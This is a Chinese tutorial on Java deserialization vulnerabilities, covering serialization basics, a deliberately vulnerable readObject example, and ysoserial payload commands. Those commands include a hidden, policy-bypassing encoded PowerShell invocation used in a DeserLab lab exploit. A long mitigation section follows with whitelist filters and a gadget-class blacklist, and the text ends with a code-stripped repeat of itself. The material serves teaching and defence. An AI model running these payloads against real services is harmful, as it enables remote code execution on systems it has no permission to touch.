Java反序列化漏洞从入门到深入
字数 1968 2025-08-29 08:32:00

Java反序列化漏洞从入门到深入

前言

Java反序列化漏洞是近年来影响范围最广、危害最大的漏洞类型之一,从2015年影响WebSphere、JBoss、Jenkins、WebLogic等大型框架的Apache Commons Collections反序列化远程命令执行漏洞,到2017年末WebLogic XML反序列化引起的挖矿风波,反序列化漏洞一直在持续影响各类Java应用。

序列化与反序列化基础

什么是序列化和反序列化

Java序列化是将对象的状态信息转换为可以存储或传输的形式的过程,反序列化则是将序列化后的数据恢复为对象的过程。主要应用场景包括:

  • 对象持久化存储
  • 网络通信
  • 数据传输
  • 远程方法调用(RMI)

序列化实现

一个类要实现序列化,必须满足两个条件:

  1. 实现java.io.Serializable接口
  2. 所有属性必须是可序列化的,或者使用transient关键字标记为非序列化

示例代码:

public class Employee implements java.io.Serializable {
    public String name;
    public String identify;
    public void mailCheck() {
        System.out.println("This is the "+this.identify+" of our company");
    }
}

序列化操作

import java.io.*;
public class SerializeDemo {
    public static void main(String [] args) {
        Employee e = new Employee();
        e.name = "员工甲";
        e.identify = "General staff";
        try {
            FileOutputStream fileOut = new FileOutputStream("employee1.db");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(e);
            out.close();
            fileOut.close();
        } catch(IOException i) {
            i.printStackTrace();
        }
    }
}

反序列化操作

import java.io.*;
public class DeserializeDemo {
    public static void main(String [] args) {
        Employee e = null;
        try {
            FileInputStream fileIn = new FileInputStream("employee1.db");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            e = (Employee) in.readObject();
            in.close();
            fileIn.close();
        } catch(IOException i) {
            i.printStackTrace();
            return;
        } catch(ClassNotFoundException c) {
            System.out.println("Employee class not found");
            c.printStackTrace();
            return;
        }
        System.out.println("Deserialized Employee...");
        System.out.println("Name: " + e.name);
        System.out.println("This is the "+e.identify+" of our company");
    }
}

反序列化漏洞原理

基本漏洞示例

import java.io.*;
public class test {
    public static void main(String args[]) throws Exception {
        UnsafeClass Unsafe = new UnsafeClass();
        Unsafe.name = "hacked by ph0rse";
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(Unsafe);
        os.close();
        
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class UnsafeClass implements Serializable {
    public String name;
    
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("calc.exe"); // 漏洞点
    }
}

漏洞起源

  1. 开发失误

    • 重写ObjectInputStreamresolveClass方法中的检测可被绕过
    • 使用第三方类进行黑名单控制不完善
  2. 基础库中的隐藏漏洞

    • 常见危险基础库包括:
      • commons-fileupload 1.3.1
      • commons-io 2.4
      • commons-collections 3.1
      • commons-logging 1.2
      • commons-beanutils 1.9.2
      • org.slf4j:slf4j-api 1.7.21
      • com.mchange:mchange-commons-java 0.2.11
      • org.apache.commons:commons-collections 4.0
      • com.mchange:c3p0 0.9.5.2
      • org.beanshell:bsh 2.0b5
      • org.codehaus.groovy:groovy 2.3.9
      • org.springframework:spring-aop 4.1.4.RELEASE

POP Gadgets

POP(Property-Oriented Programming)面向属性编程,类似于二进制利用中的ROP(Return-Oriented Programming)。POP Gadgets是指通过一系列对象属性调用链实现攻击的代码片段。

如何发现Java反序列化漏洞

白盒检测

  1. 查找反序列化函数调用点:

    • ObjectInputStream.readObject
    • ObjectInputStream.readUnshared
    • XMLDecoder.readObject
    • Yaml.load
    • XStream.fromXML
    • ObjectMapper.readValue
    • JSON.parseObject
  2. 检查Class Path中是否包含危险库

  3. 检查命令执行相关代码区域

黑盒检测

  1. 识别序列化数据特征:

    • 通常以AC ED 00 05开头
    • 常见数据类型标识:
      • 0x70 - TC_NULL
      • 0x71 - TC_REFERENCE
      • 0x72 - TC_CLASSDESC
      • 0x73 - TC_OBJECT
      • 0x74 - TC_STRING
      • 0x75 - TC_ARRAY
      • 0x76 - TC_CLASS
      • 0x7B - TC_EXCEPTION
      • 0x7C - TC_LONGSTRING
      • 0x7D - TC_PROXYCLASSDESC
      • 0x7E - TC_ENUM
  2. 使用工具分析:

    • SerializationDumper:解析序列化数据
    java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2
    
    • ysoserial:生成攻击payload
    java -jar ysoserial.jar CommonsCollections1 'curl " + URL + "'
    

环境测试示例

使用DeserLab模拟环境:

  1. 生成payload:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgAMAByAHMAZQA=" > payload2.bin
  1. 启动服务端:
java -jar DeserLab.jar -server 127.0.0.1 6666
  1. 使用exploit脚本攻击:
python deserlab_exploit.py 127.0.0.1 6666 payload2.bin

反序列化漏洞修复

1. 使用SerialKiller替换ObjectInputStream

// 使用SerialKiller替换ObjectInputStream
ObjectInputStream ois = new SerialKiller(fis, "/etc/serialkiller.conf");

2. 重写resolveClass方法

public class AntObjectInputStream extends ObjectInputStream {
    public AntObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(SerialObject.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

3. 使用ValidatingObjectInputStream

private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException {
    Object obj;
    ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
    ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
    ois.accept(SerialObject.class); // 白名单控制
    obj = ois.readObject();
    return obj;
}

4. 使用contrast-rO0

SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);
in.readObject();

5. Java 9+使用ObjectInputFilter

class BikeFilter implements ObjectInputFilter {
    private long maxStreamBytes = 78;
    private long maxDepth = 1;
    private long maxReferences = 1;
    
    @Override
    public Status checkInput(FilterInfo filterInfo) {
        if (filterInfo.references() < 0 || 
            filterInfo.depth() < 0 || 
            filterInfo.streamBytes() < 0 || 
            filterInfo.references() > maxReferences || 
            filterInfo.depth() > maxDepth ||
            filterInfo.streamBytes() > maxStreamBytes) {
            return Status.REJECTED;
        }
        Class<?> clazz = filterInfo.serialClass();
        if (clazz != null) {
            if (SerialObject.class == filterInfo.serialClass()) {
                return Status.ALLOWED;
            } else {
                return Status.REJECTED;
            }
        }
        return Status.UNDECIDED;
    }
}

6. 禁止执行外部命令

SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
    SecurityManager sm = new SecurityManager() {
        private void check(Permission perm) {
            // 禁止exec
            if (perm instanceof java.io.FilePermission) {
                String actions = perm.getActions();
                if (actions != null && actions.contains("execute")) {
                    throw new SecurityException("execute denied!");
                }
            }
            // 禁止设置新的SecurityManager
            if (perm instanceof java.lang.RuntimePermission) {
                String name = perm.getName();
                if (name != null && name.contains("setSecurityManager")) {
                    throw new SecurityException("System.setSecurityManager denied!");
                }
            }
        }
        
        @Override
        public void checkPermission(Permission perm) {
            check(perm);
        }
        
        @Override
        public void checkPermission(Permission perm, Object context) {
            check(perm);
        }
    };
    System.setSecurityManager(sm);
}

7. 黑名单方式(不推荐)

// 常见危险类黑名单
private static final String[] blacklist = {
    "org.apache.commons.collections.functors.InvokerTransformer",
    "org.apache.commons.collections.functors.InstantiateTransformer",
    "org.apache.commons.collections4.functors.InvokerTransformer",
    "org.apache.commons.collections4.functors.InstantiateTransformer",
    "org.codehaus.groovy.runtime.ConvertedClosure",
    "org.codehaus.groovy.runtime.MethodClosure",
    "org.springframework.beans.factory.ObjectFactory",
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "org.apache.commons.fileupload",
    "org.apache.commons.beanutils"
};

总结

Java反序列化漏洞影响范围广泛,从Web服务到安卓应用、桌面应用、中间件、工控组件等都可能存在此类漏洞。防御反序列化漏洞的关键在于:

  1. 严格控制反序列化操作的输入源
  2. 使用白名单机制限制可反序列化的类
  3. 及时更新基础库到安全版本
  4. 避免直接反序列化不可信数据

在实际开发和安全防护中,应优先考虑使用白名单机制,而非黑名单机制,因为黑名单难以覆盖所有可能的攻击向量。

Java反序列化漏洞从入门到深入 前言 Java反序列化漏洞是近年来影响范围最广、危害最大的漏洞类型之一,从2015年影响WebSphere、JBoss、Jenkins、WebLogic等大型框架的Apache Commons Collections反序列化远程命令执行漏洞,到2017年末WebLogic XML反序列化引起的挖矿风波,反序列化漏洞一直在持续影响各类Java应用。 序列化与反序列化基础 什么是序列化和反序列化 Java序列化是将对象的状态信息转换为可以存储或传输的形式的过程,反序列化则是将序列化后的数据恢复为对象的过程。主要应用场景包括: 对象持久化存储 网络通信 数据传输 远程方法调用(RMI) 序列化实现 一个类要实现序列化,必须满足两个条件: 实现 java.io.Serializable 接口 所有属性必须是可序列化的,或者使用 transient 关键字标记为非序列化 示例代码: 序列化操作 反序列化操作 反序列化漏洞原理 基本漏洞示例 漏洞起源 开发失误 : 重写 ObjectInputStream 的 resolveClass 方法中的检测可被绕过 使用第三方类进行黑名单控制不完善 基础库中的隐藏漏洞 : 常见危险基础库包括: commons-fileupload 1.3.1 commons-io 2.4 commons-collections 3.1 commons-logging 1.2 commons-beanutils 1.9.2 org.slf4j:slf4j-api 1.7.21 com.mchange:mchange-commons-java 0.2.11 org.apache.commons:commons-collections 4.0 com.mchange:c3p0 0.9.5.2 org.beanshell:bsh 2.0b5 org.codehaus.groovy:groovy 2.3.9 org.springframework:spring-aop 4.1.4.RELEASE POP Gadgets POP(Property-Oriented Programming)面向属性编程,类似于二进制利用中的ROP(Return-Oriented Programming)。POP Gadgets是指通过一系列对象属性调用链实现攻击的代码片段。 如何发现Java反序列化漏洞 白盒检测 查找反序列化函数调用点: ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject 检查Class Path中是否包含危险库 检查命令执行相关代码区域 黑盒检测 识别序列化数据特征: 通常以 AC ED 00 05 开头 常见数据类型标识: 0x70 - TC_ NULL 0x71 - TC_ REFERENCE 0x72 - TC_ CLASSDESC 0x73 - TC_ OBJECT 0x74 - TC_ STRING 0x75 - TC_ ARRAY 0x76 - TC_ CLASS 0x7B - TC_ EXCEPTION 0x7C - TC_ LONGSTRING 0x7D - TC_ PROXYCLASSDESC 0x7E - TC_ ENUM 使用工具分析: SerializationDumper:解析序列化数据 ysoserial:生成攻击payload 环境测试示例 使用DeserLab模拟环境: 生成payload: 启动服务端: 使用exploit脚本攻击: 反序列化漏洞修复 1. 使用SerialKiller替换ObjectInputStream 2. 重写resolveClass方法 3. 使用ValidatingObjectInputStream 4. 使用contrast-rO0 5. Java 9+使用ObjectInputFilter 6. 禁止执行外部命令 7. 黑名单方式(不推荐) 总结 Java反序列化漏洞影响范围广泛,从Web服务到安卓应用、桌面应用、中间件、工控组件等都可能存在此类漏洞。防御反序列化漏洞的关键在于: 严格控制反序列化操作的输入源 使用白名单机制限制可反序列化的类 及时更新基础库到安全版本 避免直接反序列化不可信数据 在实际开发和安全防护中,应优先考虑使用白名单机制,而非黑名单机制,因为黑名单难以覆盖所有可能的攻击向量。